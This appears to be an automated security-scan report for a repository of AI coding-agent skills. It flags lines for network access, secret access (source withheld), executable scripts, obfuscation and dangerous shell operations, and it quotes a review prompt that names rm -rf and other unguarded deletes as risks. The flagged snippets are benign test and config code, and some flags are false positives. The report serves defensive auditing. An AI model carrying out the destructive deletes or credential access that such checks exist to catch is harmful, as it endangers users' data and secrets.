    -----     uv run --with openai python usecase_runner.py \         --base-url https://api.example.com/v1 --model some-model --key-env MY_API_KEY \
  • Network accessline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]

llm-eval-harness/tests/test_availability.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 62
    def post(self, url, **kwargs):         self.requests.append((url, kwargs))
  • Network accessline 63
    self.requests.append((url, kwargs))
  • Network accessline 83
    session = Session(Response(body, status, body_error), error)         result = await probe.probe_one(             session, fmt, "https://example.invalid", "synthetic-model",
  • Network accessline 84
    result = await probe.probe_one(             session, fmt, "https://example.invalid", "synthetic-model",             "synthetic-api-key", 8192, str(self.root))
  • Network accessline 85
    session, fmt, "https://example.invalid", "synthetic-model",             "synthetic-api-key", 8192, str(self.root))         self.assertEqual(len(session.requests), 1)
  • Network accessline 260
    def cli(self, results, key=True):         output = self.root / "results.json"         argv = [str(SCRIPT), "--base-url", "https://example.invalid", "--models", "synthetic-model",
  • Network accessline 261
    output = self.root / "results.json"         argv = [str(SCRIPT), "--base-url", "https://example.invalid", "--models", "synthetic-model",                 "--key-env", "SYNTHETIC_TEST_KEY", "--format", "openai", "--raw-dir", "",
  • Network accessline 262
    argv = [str(SCRIPT), "--base-url", "https://example.invalid", "--models", "synthetic-model",
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Access to secretsline 267
    [Credential-related source omitted]

llm-eval-harness/tests/test_results.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 98
    self.run_id = str(uuid.uuid4())         self.path = self.root / "receipt.json"         self.identity = {"model": "test-model", "endpoint_kind": "base_url", "endpoint": "https://example.invalid/v1",
  • Network accessline 99
    self.path = self.root / "receipt.json"         self.identity = {"model": "test-model", "endpoint_kind": "base_url", "endpoint": "https://example.invalid/v1",                          "format": "openai", "auth": "bearer"}
  • Network accessline 100
    self.identity = {"model": "test-model", "endpoint_kind": "base_url", "endpoint": "https://example.invalid/v1",
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 237
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Access to secretsline 239
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Network accessline 255
    def open(self, request, **kw):                 raise protocol.urllib.error.HTTPError(request.full_url, 400, "bad", {}, io.BytesIO(b"invalid part type: thinking"))         args = ["--url", "https://example.invalid/v1/messages", "--model", "t
  • Network accessline 256
    raise protocol.urllib.error.HTTPError(request.full_url, 400, "bad", {}, io.BytesIO(b"invalid part type: thinking"))         args = ["--url", "https://example.invalid/v1/messages", "--model", "test-model", "--key-env", "SYNTH_KEY", "--repeat
  • Network accessline 257
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]
  • Network accessline 317
    headers.append(dict(request.header_items()))                 return Responses(history=len(json.loads(request.data)["messages"]) > 1)         args = ["--url", "https://example.invalid/v1/messages", "--model", "test-model", "--key-env", "SYNT
  • Network accessline 318
    return Responses(history=len(json.loads(request.data)["messages"]) > 1)         args = ["--url", "https://example.invalid/v1/messages", "--model", "test-model", "--key-env", "SYNTH_KEY", "--repeat", "2", "--auth", "bearer"]         with pat
  • Network accessline 319
    [Credential-related source omitted]
  • Access to secretsline 319
    [Credential-related source omitted]
  • Network accessline 348
    async def __aexit__(self, *a): pass             def post(self, url, **kw):                 requests.append(kw)
  • Network accessline 349
    def post(self, url, **kw):                 requests.append(kw)                 return Response()
  • Network accessline 350
    requests.append(kw)
  • Network accessline 351
    return Response()         aio = NS(TCPConnector=lambda **kw: None, ClientSession=Session, ClientTimeout=lambda **kw: None)         args = ["--url", "https://example.invalid/v1/messages", "--model", "test-model", "--key-env", "SYNTH_KEY", "-
  • Network accessline 352
    aio = NS(TCPConnector=lambda **kw: None, ClientSession=Session, ClientTimeout=lambda **kw: None)         args = ["--url", "https://example.invalid/v1/messages", "--model", "test-model", "--key-env", "SYNTH_KEY", "--format", "anthropic", "--
  • Network accessline 353
    [Credential-related source omitted]
  • Access to secretsline 353
    [Credential-related source omitted]
  • Network accessline 402
    aio = NS(TCPConnector=lambda **kw: None, ClientSession=Session, ClientTimeout=lambda **kw: None)         def callback(writer):             asyncio.run(concurrency.bench_round("https://example.invalid", "openai", "model", "synth", 2, 30, wri
  • Network accessline 403
    def callback(writer):             asyncio.run(concurrency.bench_round("https://example.invalid", "openai", "model", "synth", 2, 30, writer=writer))         with patch.object(concurrency, "aiohttp", aio):
  • Network accessline 404
    asyncio.run(concurrency.bench_round("https://example.invalid", "openai", "model", "synth", 2, 30, writer=writer))         with patch.object(concurrency, "aiohttp", aio):             code = execute_probe(args, "concurrency", identity, plan, 
  • Network accessline 420
    return Responses()             with patch.object(protocol.urllib.request, "build_opener", return_value=Opener()):                 if f is protocol.one_request: f("https://example.invalid", "model", "synth", "p", 2, 4, 1, None)
  • Network accessline 421
    with patch.object(protocol.urllib.request, "build_opener", return_value=Opener()):                 if f is protocol.one_request: f("https://example.invalid", "model", "synth", "p", 2, 4, 1, None)                 else: f("https://example.inv
  • Network accessline 422
    if f is protocol.one_request: f("https://example.invalid", "model", "synth", "p", 2, 4, 1, None)
  • Network accessline 423
    else: f("https://example.invalid", "model", "synth", 2, 4, 1, None)
  • Access to secretsline 443
    [Credential-related source omitted]
  • Possible obfuscationline 469
    self.assertEqual(base64.b64decode(snapshot["content_base64"]), raw)
  • Possible obfuscationline 496
    self.assertEqual(base64.b64decode(r["consumed_inputs"]["prompts"]["content_base64"]), raw)
  • Network accessline 500
    raw = b'[{"id":"one","prompt":"already consumed"}]\n'         cases.write_bytes(raw)         args = ["--base-url", "https://example.invalid/v1", "--model", "test-model", "--key-env", "MISSING_SYNTH_KEY",
  • Network accessline 501
    cases.write_bytes(raw)         args = ["--base-url", "https://example.invalid/v1", "--model", "test-model", "--key-env", "MISSING_SYNTH_KEY",                 "--usecases", str(cases), "--output-dir", str(self.root / "answers")]
  • Network accessline 502
    [Credential-related source omitted]
  • Access to secretsline 502
    [Credential-related source omitted]
  • Access to secretsline 504
    [Credential-related source omitted]
  • Possible obfuscationline 511
    self.assertEqual(base64.b64decode(r["consumed_inputs"]["usecases"]["content_base64"]), raw)
  • Network accessline 607
    def test_signature_errors_are_not_thinking_type_evidence(self):         args = ["--url", "https://example.invalid/v1/messages", "--model", "test-model", "--key-env", "SYNTH_KEY", "--repeat", "1", "--check", "history-replay"]
  • Network accessline 608
    [Credential-related source omitted]
  • Access to secretsline 608
    [Credential-related source omitted]
  • Network accessline 676
    OfflineSDK.mode = "stream_error"         with patch.object(speed, "OpenAI", OfflineSDK):             code = self.invoke(speed, ["--base-url", "https://example.invalid/v1", "--model", "test-model", "--key-env", "SYNTH_KEY", "--mode", "decode
  • Network accessline 677
    with patch.object(speed, "OpenAI", OfflineSDK):             code = self.invoke(speed, ["--base-url", "https://example.invalid/v1", "--model", "test-model", "--key-env", "SYNTH_KEY", "--mode", "decode", "--repeat", "1"])         r = self.rea
  • Network accessline 678
    [Credential-related source omitted]
  • Access to secretsline 678
    [Credential-related source omitted]

llm-icon-finder/SKILL.md

  • Network accessline 8
    Access AI/LLM model brand icons and logos from the [lobe-icons](https://github.com/lobehub/lobe-icons) library. The library contains 100+ icons for models (Claude, GPT, Gemini), providers (OpenAI, Anthropic, Google), and applications (Comfy
  • Network accessline 20
    # SVG https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-svg/{light|dark}/{icon-name}.svg
  • Network accessline 21
    https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-svg/{light|dark}/{icon-name}.svg
  • Network accessline 23
    # PNG https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-png/{light|dark}/{icon-name}.png
  • Network accessline 24
    https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-png/{light|dark}/{icon-name}.png
  • Network accessline 26
    # WEBP https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-webp/{light|dark}/{icon-name}.webp
  • Network accessline 27
    https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-webp/{light|dark}/{icon-name}.webp
  • Network accessline 29
    # Color variant (append -color to icon-name) https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-png/dark/{icon-name}-color.png
  • Network accessline 30
    https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-png/dark/{icon-name}-color.png
  • Network accessline 42
    4. Provide URL to user 5. If download requested, use Bash tool with curl 6. Include web viewer link: `https://lobehub.com/icons/{icon-name}`
  • Network accessline 44
    6. Include web viewer link: `https://lobehub.com/icons/{icon-name}`
  • Network accessline 50
    **Uncertain names**: - Browse https://lobehub.com/icons
  • Network accessline 51
    - Browse https://lobehub.com/icons
  • Network accessline 61
    User: "Claude icon" → Provide: https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-png/dark/claude.png
  • Network accessline 62
    → Provide: https://raw.githubusercontent.com/lobehub/lobe-icons/refs/heads/master/packages/static-png/dark/claude.png
  • Network accessline 68
    curl -o openai.svg "https://raw.githubusercontent.com/lobehub/lobe-icons/.../dark/openai.svg"
  • Network accessline 69
    curl -o anthropic.svg "https://raw.githubusercontent.com/lobehub/lobe-icons/.../dark/anthropic.svg"
  • Network accessline 82
    1. Try `-color` suffix variant 2. Check alternate naming (e.g., `chatgpt` vs `gpt`, `google` vs `gemini`) 3. Direct user to https://lobehub.com/icons to browse
  • Network accessline 83
    2. Check alternate naming (e.g., `chatgpt` vs `gpt`, `google` vs `gemini`) 3. Direct user to https://lobehub.com/icons to browse 4. Search repository: https://github.com/lobehub/lobe-icons
  • Network accessline 84
    3. Direct user to https://lobehub.com/icons to browse
  • Network accessline 85
    4. Search repository: https://github.com/lobehub/lobe-icons

llm-icon-finder/references/developer-info.md

  • Network accessline 44
    - **Icon Gallery**: https://lobehub.com/icons
  • Network accessline 45
    - **GitHub Repository**: https://github.com/lobehub/lobe-icons
  • Network accessline 46
    - **Documentation**: https://icons.lobehub.com
  • Network accessline 47
    - **NPM Packages**: https://www.npmjs.com/search?q=%40lobehub%2Ficons

llm-icon-finder/references/icons-list.md

  • Network accessline 85
    2. **Company vs Product**: Some have both (e.g., `alibaba` and `alibabacloud`, `zhipu` and `chatglm`) 3. **Color variants**: Many icons have `-color` suffix for colored versions 4. **Browse all**: Visit https://lobehub.com/icons to see the 
  • Network accessline 87
    4. **Browse all**: Visit https://lobehub.com/icons to see the complete catalog

llm-wiki-setup/examples/investment-research-CLAUDE.md

  • Network accessline 14
    这是一个 **金融投研 LLM Wiki**,instantiate 自 Karpathy 的 gist (<https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f>)。
  • Network accessline 15
    (<https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f>)。

llm-wiki-setup/scripts/init_vault.py

  • Executable scriptline 1
    #!/usr/bin/env python3

llm-wiki-setup/scripts/lint-vault.py

  • Executable scriptline 1
    #!/usr/bin/env python3

llm-wiki-setup/templates/CLAUDE-skeleton.md

  • Network accessline 3
    这是我的 **个人投研 LLM Wiki**,instantiate 自 Karpathy 的 gist (<https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f>)。
  • Network accessline 4
    (<https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f>)。

llm-wiki-setup/templates/pre-commit.snippet

  • Executable scriptline 1
    #!/usr/bin/env bash

llm-wiki-setup/tests/test_vault_tooling.py

  • Executable scriptline 1
    #!/usr/bin/env python3

marketplace-health-check/SKILL.md

  • Network accessline 44
    Read the helper's JSON and exit status; its `--help` owns the output/exit contract. It parses manifest metadata as JSON and follows the [github-ops GraphQL pagination recipe](https://github.com/daymade/claude-code-skills/blob/main/github-op
  • Network accessline 59
    Tell the user this launches parallel model work and consumes the current plan's usage; do not quote a fixed time/token estimate as a guarantee. Keep the host's actual permission gate. Before editing the saved script, load Claude Code's `/wo
  • Network accessline 90
    - **History note**: sanitizing the working copy cleans the *current* version, but a pre-existing leak still sits in git history. Flag the history exposure honestly; a history rewrite (force-push) is a separate high-risk decision that affect
  • Network accessline 91
    - **Public scan evidence**: follow the methodology reference for marker interpretation and isolated scans. Run generic checks plus semantic sample reads; missing local receipts or optional private asset rules do not establish an unscanned/u
  • Network accessline 92
    - **Release and contribution decisions**: read the current [release owner](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/release-readiness.md) and [CONTRIBUTING.md](https://github.com/daymade

marketplace-health-check/references/health-check-methodology.md

  • Network accessline 35
    Treat `.security-scan-passed` as a local, content-bound scanner receipt. Consult [Skill Creator's packaging policy](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/scripts/packaging_policy.py) before inte
  • Network accessline 39
    Before using a scanner that writes a marker, load [Skill Creator's materialization procedure](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/materialization-budget.md). Declare exact immutable
  • Network accessline 47
    Read [release readiness](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/release-readiness.md) for shipped-change classification, registered plugin identity and release checks. Read [CONTRIBUTI

marketplace-health-check/scripts/repo-health-check.workflow.js

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 65
    'Check for: (1) Dangerous deletes — rm -rf without confirmation, shutil.rmtree, os.remove/unlink without a guard — ESPECIALLY any file-deleting skill (e.g. macos-cleaner) and any cleanup / safe_delete script. (2) NO-FALLBACK violations (a r
  • Access to secretsline 82
    [Credential-related source omitted]

marketplace-health-check/scripts/scout_repository.py

  • Executable scriptline 1
    #!/usr/bin/env python3

marketplace-health-check/tests/test_health_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]

meme-creator/scripts/encode_outputs.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 55
    rm -f "$PAL"

meme-creator/scripts/make_sheets.py

  • Executable scriptline 1
    #!/usr/bin/env python3

meme-creator/scripts/render_overlay.py

  • Executable scriptline 1
    #!/usr/bin/env python3

meme-creator/scripts/track_boxes.py

  • Executable scriptline 1
    #!/usr/bin/env python3

notify-wecom/SKILL.md

  • Network accessline 47
    2. Inherits the host/project HTTP(S) proxy and no_proxy policy; never forces direct access. 3. If scope is `self`, sends without an authorization prompt. If scope is `others`, presents the exact label and message for human confirmation. 4. 
  • Network accessline 48
    3. If scope is `self`, sends without an authorization prompt. If scope is `others`, presents the exact label and message for human confirmation. 4. Sends via the WeCom webhook using the sender from `setup-notifications-via-wecom` (or an equ
  • Network accessline 49
    4. Sends via the WeCom webhook using the sender from `setup-notifications-via-wecom` (or an equivalent inline curl call).

openclaw-model-switch/SKILL.md

  • Network accessline 40
    curl -sS -o /tmp/probe.json -w "HTTP %{http_code}\n" \
  • Network accessline 83
    | Symptom | Most likely trap | |---|---| | `LLM error new_api_error: Invalid token`, but the token works in curl | Trap #1 — env `KIMI_API_KEY` hijacks the provider's wire key |
  • Network accessline 84
    |---|---| | `LLM error new_api_error: Invalid token`, but the token works in curl | Trap #1 — env `KIMI_API_KEY` hijacks the provider's wire key | | `Thinking level "max" is not supported ... Use one of: off, on` | Trap #2 — kimi-provider p
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]

openclaw-model-switch/references/kimi-models.md

  • Network accessline 39
    {   "baseUrl": "https://agent-gw.kimi.com/coding",
  • Network accessline 40
    "baseUrl": "https://agent-gw.kimi.com/coding",
  • Access to secretsline 51
    [Credential-related source omitted]

openclaw-model-switch/references/troubleshooting-model-config.md

  • Network accessline 17
    **Symptom.** Gateway log shows `LLM error new_api_error: Invalid token` and `model_fallback_decision ... reason: auth, status: 401`, yet the same token succeeds when you curl the endpoint by hand.
  • Network accessline 19
    when you curl the endpoint by hand.
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 148
    EOF nohup python3 /tmp/cap.py >/dev/null 2>&1 & # temporarily set models.providers.<p>.baseUrl = http://127.0.0.1:8899 , then:
  • Network accessline 149
    nohup python3 /tmp/cap.py >/dev/null 2>&1 & # temporarily set models.providers.<p>.baseUrl = http://127.0.0.1:8899 , then: openclaw agent --local --json --agent main --session-id cap-$(date +%s) -m "hi"
  • Network accessline 150
    # temporarily set models.providers.<p>.baseUrl = http://127.0.0.1:8899 , then:

openclaw-model-switch/scripts/switch-model.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/references/openclaw_architecture.md

  • Network accessline 35
    "providers": {       "provider-name": {         "baseUrl": "https://...",
  • Network accessline 36
    [Credential-related source omitted]
  • Network accessline 37
    "baseUrl": "https://...",

openclaw/scripts/add_model.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/scripts/audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/scripts/cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/scripts/compare.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 29
    lm, rm = left_models[mid], right_models[mid]

openclaw/scripts/copy_provider.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/scripts/list_models.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/scripts/openclaw_config.py

  • Executable scriptline 1
    #!/usr/bin/env python3

openclaw/scripts/switch_model.py

  • Executable scriptline 1
    #!/usr/bin/env python3

peer-message/references/coordination-and-learning-loop.md

  • Network accessline 111
    这里借用 [Idempotent Receiver](https://www.enterpriseintegrationpatterns.com/patterns/messaging/IdempotentReceiver.html) 的语义幂等原则:重复到达不应重复产生业务效果。本节将它应用于 Agent 协调决策;不声称当前 transport 实现了 exactly-once、TTL 或自动语义去重。
  • Network accessline 269
    - [W3C Trace Context](https://www.w3.org/TR/trace-context/):跨组件传播唯一关联 ID,且把传播、参与和安全边界分开;本 Skill 的 message ID 采用同样的关联思想,但不声称兼容该协议。
  • Network accessline 270
    - [Amazon SQS at-least-once delivery](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/standard-queues-at-least-once-delivery.html):重试可能产生重复,消费端需要幂等;因此 unverified 不自动重发,重发显式引用旧 ID。
  • Network accessline 271
    - [Reflexion](https://arxiv.org/abs/2303.11366):把环境反馈转成语言记忆,改善后续 episode;这里把 admission evidence 和可执行规则分开。
  • Network accessline 272
    - [Self-Refine](https://arxiv.org/abs/2303.17651):反馈要具体、可行动并带停止条件;这里把规则写成回传字段合同。
  • Network accessline 273
    - [Large Language Models Cannot Self-Correct Reasoning Yet](https://openreview.net/forum?id=IkmD3fKBPQ):没有外部反馈的 intrinsic self-correction 不能作为可靠改进证据;因此保留独立 evidence 与 fresh review。

peer-message/references/local-coordination.md

  • Network accessline 308
    本机未覆盖的宿主、未执行 receive 的接收者、未登记负责人和跨机器调用仍报告覆盖缺口。 不把出站强制检查宣称为整机消息量已下降,也不修改宿主 inbound/Held/用户权限。 基础原则参考 [Idempotent Receiver](https://www.enterpriseintegrationpatterns.com/patterns/messaging/IdempotentReceiver.html)
  • Network accessline 309
    不把出站强制检查宣称为整机消息量已下降,也不修改宿主 inbound/Held/用户权限。 基础原则参考 [Idempotent Receiver](https://www.enterpriseintegrationpatterns.com/patterns/messaging/IdempotentReceiver.html) 和 [Message Expiration](https://www.enterpriseintegrationpatterns.com/patter
  • Network accessline 310
    基础原则参考 [Idempotent Receiver](https://www.enterpriseintegrationpatterns.com/patterns/messaging/IdempotentReceiver.html)
  • Network accessline 311
    和 [Message Expiration](https://www.enterpriseintegrationpatterns.com/patterns/messaging/MessageExpiration.html):

peer-message/references/official-feature.md

  • Network accessline 136
    - Claude Code: [Cross-session messaging](https://code.claude.com/docs/en/cross-session-messaging)(2026-09-13 重查原生目标范围)。
  • Network accessline 137
    - Codex: [Subagents](https://learn.chatgpt.com/docs/agent-configuration/subagents) 与当前宿主实际工具契约(2026-09-13)。
  • Network accessline 138
    - ChatGPT App: §6 所列版本的工具 schema、发送分支和界面模板;仅实现与暴露面取证,无真实发送测试。 - Codex: 本机 `codex queue --help`、错误目标非零实验、真实入队截图与 thread-history 读回(2026-08-31)。 - Codex: [App Server](https://learn.chatgpt.com/docs/app-server)、本机生成的 turn/start schema,以及 2026-
  • Network accessline 140
    - Codex: [App Server](https://learn.chatgpt.com/docs/app-server)、本机生成的 turn/start schema,以及 2026-10-10 active-turn toolOutput 与 history 读回。

peer-message/runtime/package-lock.json

  • Network accessline 18
    "node_modules/@agentpair/protocol": {       "version": "0.5.5",       "resolved": "https://registry.npmjs.org/@agentpair/protocol/-/protocol-0.5.5.tgz",
  • Network accessline 19
    "version": "0.5.5",       "resolved": "https://registry.npmjs.org/@agentpair/protocol/-/protocol-0.5.5.tgz",       "integrity": "sha512-jDXEjwjJHK/quCKPJ/6lvuSC5fpm90UClGtiwvBi325HJWAhgzf6TQqKU5VLvpEj2JPjpJ49axrqCiopZY2wMw==",
  • Network accessline 20
    "resolved": "https://registry.npmjs.org/@agentpair/protocol/-/protocol-0.5.5.tgz",
  • Network accessline 33
    "node_modules/@hono/node-server": {       "version": "2.1.1",       "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.1.1.tgz",
  • Network accessline 34
    "version": "2.1.1",       "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.1.1.tgz",       "integrity": "sha512-ELuehkj5VCBdgEw9zs+ivkKwyzzUCSQuE96YmiPvn1ECBoZCczbFXJLeEGMTYjphP6gydh4pHMqEYPVMYUVgQg==",
  • Network accessline 35
    "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.1.1.tgz",
  • Network accessline 45
    "node_modules/@jsep-plugin/assignment": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/@jsep-plugin/assignment/-/assignment-1.3.0.tgz",
  • Network accessline 46
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/@jsep-plugin/assignment/-/assignment-1.3.0.tgz",       "integrity": "sha512-VVgV+CXrhbMI3aSusQyclHkenWSAm95WaiKrMxRFam3JSUiIaQjoMIw2sEs/OX4XifnqeQUN4DYbJjlA8EfktQ==",
  • Network accessline 47
    "resolved": "https://registry.npmjs.org/@jsep-plugin/assignment/-/assignment-1.3.0.tgz",
  • Network accessline 57
    "node_modules/@jsep-plugin/regex": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/@jsep-plugin/regex/-/regex-1.0.4.tgz",
  • Network accessline 58
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/@jsep-plugin/regex/-/regex-1.0.4.tgz",       "integrity": "sha512-q7qL4Mgjs1vByCaTnDFcBnV9HS7GVPJX5vyVoCgZHNSC9rjwIlmbXG5sUuorR5ndfHAIlJ8pVStxvjXHbNvtUg==",
  • Network accessline 59
    "resolved": "https://registry.npmjs.org/@jsep-plugin/regex/-/regex-1.0.4.tgz",
  • Network accessline 69
    "node_modules/@modelcontextprotocol/sdk": {       "version": "1.32.1",       "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz",
  • Network accessline 70
    "version": "1.32.1",       "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz",       "integrity": "sha512-2DdE+SJDtzLEEWzY1ZjY7Q+VcPhcV1KisD3zI4u0XZyktsjHum1mwbMI+JaulUBi2OZk+KJAi2uPXzxichPkdw==",
  • Network accessline 71
    "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz",
  • Network accessline 109
    "node_modules/@noble/ciphers": {       "version": "2.4.0",       "resolved": "https://registry.npmjs.org/@noble/ciphers/-/ciphers-2.4.0.tgz",
  • Network accessline 110
    "version": "2.4.0",       "resolved": "https://registry.npmjs.org/@noble/ciphers/-/ciphers-2.4.0.tgz",       "integrity": "sha512-AnjFn0Jv92laAkvMrghlFZq4qQCIN/4DxFV/eooqtC2YTjB7kBeLMS2T9KJX4Dn+ZVXLOwK0lSgqDtx9gvxtiw==",
  • Network accessline 111
    "resolved": "https://registry.npmjs.org/@noble/ciphers/-/ciphers-2.4.0.tgz",
  • Network accessline 116
    },       "funding": {         "url": "https://paulmillr.com/funding/"
  • Network accessline 117
    "funding": {         "url": "https://paulmillr.com/funding/"       }
  • Network accessline 118
    "url": "https://paulmillr.com/funding/"
  • Network accessline 121
    "node_modules/@noble/curves": {       "version": "2.4.0",       "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-2.4.0.tgz",
  • Network accessline 122
    "version": "2.4.0",       "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-2.4.0.tgz",       "integrity": "sha512-P4/62zrgfH33CneE3Dn4WhJVA22YUU0eR51wKIan4NVRvwsA0YnPTwWGpNbpuacSujmSFLvyzpyuR30+fbq2Ew==",
  • Network accessline 123
    "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-2.4.0.tgz",
  • Network accessline 131
    },       "funding": {         "url": "https://paulmillr.com/funding/"
  • Network accessline 132
    "funding": {         "url": "https://paulmillr.com/funding/"       }
  • Network accessline 133
    "url": "https://paulmillr.com/funding/"
  • Network accessline 136
    "node_modules/@noble/hashes": {       "version": "2.4.0",       "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz",
  • Network accessline 137
    "version": "2.4.0",       "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz",       "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==",
  • Network accessline 138
    "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz",
  • Network accessline 143
    },       "funding": {         "url": "https://paulmillr.com/funding/"
  • Network accessline 144
    "funding": {         "url": "https://paulmillr.com/funding/"       }
  • Network accessline 145
    "url": "https://paulmillr.com/funding/"
  • Network accessline 148
    "node_modules/accepts": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",
  • Network accessline 149
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",       "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==",
  • Network accessline 150
    "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",
  • Network accessline 161
    "node_modules/agentpair": {       "version": "0.1.20",       "resolved": "https://registry.npmjs.org/agentpair/-/agentpair-0.1.20.tgz",
  • Network accessline 162
    "version": "0.1.20",       "resolved": "https://registry.npmjs.org/agentpair/-/agentpair-0.1.20.tgz",       "integrity": "sha512-7l5e9S9GudcV4bd/idspeTR9OQ+GVGP72UB2rA3jc7eQlpIOLRQYBuUElsuY1syq24tZOUS5QRAoe7kiu1iDbw==",
  • Network accessline 163
    "resolved": "https://registry.npmjs.org/agentpair/-/agentpair-0.1.20.tgz",
  • Network accessline 180
    "node_modules/ajv": {       "version": "8.20.0",       "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",
  • Network accessline 181
    "version": "8.20.0",       "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",       "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==",
  • Network accessline 182
    "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",
  • Network accessline 191
    "funding": {         "type": "github",         "url": "https://github.com/sponsors/epoberezkin"
  • Network accessline 192
    "type": "github",         "url": "https://github.com/sponsors/epoberezkin"       }
  • Network accessline 193
    "url": "https://github.com/sponsors/epoberezkin"
  • Network accessline 196
    "node_modules/ajv-formats": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",
  • Network accessline 197
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",       "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==",
  • Network accessline 198
    "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",
  • Network accessline 213
    "node_modules/argparse": {       "version": "1.0.10",       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
  • Network accessline 214
    "version": "1.0.10",       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
  • Network accessline 215
